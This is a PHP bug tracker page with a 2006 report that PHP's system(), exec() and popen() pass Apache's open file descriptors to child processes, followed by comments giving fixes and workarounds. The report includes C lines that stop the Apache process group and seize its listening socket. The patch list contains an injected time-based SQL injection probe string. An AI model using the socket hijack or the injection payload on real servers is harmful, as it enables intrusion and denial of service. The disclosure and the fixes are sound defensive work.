|   | php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login | 
| 
  [2006-09-21 19:15 UTC] dimmoborgir at gmail dot com
 Description:
------------
The problem is in exec, system, popen (and similar) PHP functions. The fact is that PHP doesn't sanitize opened file descriptors before executing a program.
These functions use popen() C function to spawn a program.
popen() is equal to the successive execution of
pipe(), fork(), dup2(), exec().
These functions keep all opened handles. (Except STDOUT, which is replaced to pipe).
This bug makes php-includes vulnerabilities more dangerous.
If the server uses mod_php, and we can execute shell commands via system(), then we can, e.g. stop apache processes (by sending a SIGSTOP), and to listen and process connections on 80 port (opened by Apache, and transmitted to us by PHP). Also we can write anything to its errorlog.
Reproduce code:
---------------
Some steps to reproduce a bug.
First. Simple program to wait :)
# cat test1.c
int main()
{
   setsid( );
   sleep( 10000 );
}
#gcc -o test1 test1.c
Ok. Let's make a php script:
#cat a.php
<?php
   system( "./test1" );
?>
Request: http://127.0.0.1/a.php
Good. Now see opened handles:
#lsof | grep test1
test1     cwd        DIR      /usr/local/apache2/htdocs
test1     rtd        DIR      /
test1     txt        REG      /var/www/html/test1
test1     mem        REG      /lib/tls/libc-2.3.5.so
test1     mem        REG      /lib/ld-2.3.5.so
test1     mem        REG      [stack] (stat: No such file or directory)
test1       0r       CHR      /dev/null
test1       1w      FIFO      pipe
test1       2w       REG      /usr/local/apache2/logs/error_log
test1       3u      IPv4      *:http (LISTEN)
test1       4r      FIFO      pipe
test1       5w      FIFO      pipe
test1       6w       REG      /usr/local/apache2/logs/error_log
test1       7w       REG      /usr/local/apache2/logs/access_log
test1       8r      0000      unknown inode type
test1       9u      IPv4      10.0.0.2:http->10.0.0.1:2134 (CLOSE_WAIT)
So, our test1 has apache's handles. Now we can do something like that:
 int p = getsid( 0 );     // get current Process Group Id
 setsid( );               // become session leader	
 kill( -p, SIGSTOP );     // good night, Apache Process Group :)
And after that:
 for ( sock = 3; sock < getdtablesize(); sock++ )  // find valid socket handle
    if ( listen (sock, 10) == 0 ) break;
    
Full exploit is available on http://hackerdom.ru/~dimmo/phpexpl.c
Expected result:
----------------
I didn't expected program, executed via system() PHP function, to have all opened descriptors of Apache Web Server (including 80 port, error and access logs, opened connections, etc...)
Actual result:
--------------
Our PHP program has all descriptors of Apache Server.
PatchesWymSkPhN (last revision 2024-06-26 17:55 UTC by testing at example dot com)QPbmCRVM (last revision 2024-04-28 23:06 UTC by testing at example dot com) pHqghUme (last revision 2024-03-18 20:42 UTC by testing at example dot com) WzdALfCz (last revision 2024-01-11 15:10 UTC by testing at example dot com) tsSLAueP (last revision 2023-12-27 15:10 UTC by testing at example dot com) if(now()=sysdate(),sleep(12),0)/*'XOR(if(now()=sysdate(),sleep(12),0))OR'"XOR(if (last revision 2020-04-18 03:56 UTC by sample at email dot tst) Pull Requests
Pull requests: 
 HistoryAllCommentsChangesGit/SVN commits             | |||||||||||||||||||||||||||||||||||||
|  Copyright © 2001-2025 The PHP Group All rights reserved. | Last updated: Fri Oct 31 05:00:02 2025 UTC | 
In linux, this should fix the issue for mail() diff --git a/ext/standard/mail.c b/ext/standard/mail.c index ab65f16..a8b3bf5 100644 --- a/ext/standard/mail.c +++ b/ext/standard/mail.c @@ -288,8 +288,12 @@ PHPAPI int php_mail(char *to, char *subject, char *message, char *headers, char * (e.g. the shell can't be executed) we explicitely set it to 0 to be * sure we don't catch any older errno value. */ errno = 0; +#if defined(__linux__) && defined(__GLIBC__) && __GLIBC_PREREQ(2, 9) + sendmail = popen(sendmail_cmd, "we"); +#else sendmail = popen(sendmail_cmd, "w"); #endif +#endif if (extra_cmd != NULL) { efree (sendmail_cmd); } Note that you need glibc 2.9 though.we solved by passing the forked/exec'd process through a bash shell and closing all te file descriptors: eg: (note this is for FreeBSD using daemon, but "nohup" should work on linux) daemon /usr/bin/env bash -c 'exec 0<&-; exec 1> /path/to/error/log; exec 2> /path/to/stdout/log; eval exec {3..255}\>\&-; /usr/bin/env php /path/to/script args...' Note we find it crucial to redirect and NOT CLOSE STDOUT and STDERR because otherwise you will never find out if sth is wrong with forked process. You should ensure that they exist and are writable before forking. The trick with eval exec {3..255}\>\&-; is from here: http://blog.n01se.net/blog-n01se-net-p-145.html This works for us in a php-fastcgi situation. the fastcgi-socket and the mysql socket are both closed successfully. the new process opens its own mysql socket just fine... I suspect this is similar to what Jeroen's closedexec.c does, but no need for a c program. Everyone should have bash. If you redirect the stdout of above fork command to a file and check the contents of that daemon gives you nice messages, just append 2> /path/to/temp/stderr/file/for/daemon/messages to the above command. We have the construction of the fork command wrapped in a simple function, like so: $exec_cmd = ((php_uname('s') == 'FreeBSD') ? 'daemon' : 'nohup') . // try to be OS agnostic, daemon = fork, setguid etc, but don't close stderr with -f ' /usr/bin/env bash -c ' . // wrap actual call to new php process in a shell (use env!), so // must escape here in case the already escaped args contain // specials chars like single quotes (which the will!) escapeshellarg( 'exec 0<&-; ' . // close STDIN 'exec 1> ' . escapeshellarg($app_log) . '; ' . // STDOUT > app_log 'exec 2> ' . escapeshellarg($error_log) . '; ' . // STDOUT > error_log 'eval exec {3..255}\>\&-; ' . // we can close all other fds (fastcgi, mysql, etc)..eval trick! '/usr/bin/env php ' . BASE . $cmd . ' ' . // call php (with env!) don't rely on shebang or exec perms join(' ', // add args separated by spaces array_map(function ($arg) { return escapeshellarg($arg); }, $args)) // after escaping them ); Sorry about the formatting...This same issue appears to happen with PHP-FPM (I am using nginx as the webserver, but that shouldn't matter). PHP version 5.4.22 on Linux (CentOS 6.5) Quick example: <?php $p = popen('/bin/bash -c "sleep 60"','w'); pclose($p); ?> Now find the child process (ps aux | grep sleep) and lsof -p XXX -n: sleep 13443 nobody 0r FIFO 0,8 0t0 10237775 pipe sleep 13443 nobody 1u CHR 1,3 0t0 3920 /dev/null sleep 13443 nobody 2u CHR 1,3 0t0 3920 /dev/null sleep 13443 nobody 4u IPv4 10236693 0t0 TCP 127.0.0.1:cslistener->127.0.0.1:53151 (ESTABLISHED) sleep 13443 nobody 9u REG 0,9 0 3918 [eventpoll] FD 4 there is the TCP connection from the PHP worker process to the web server.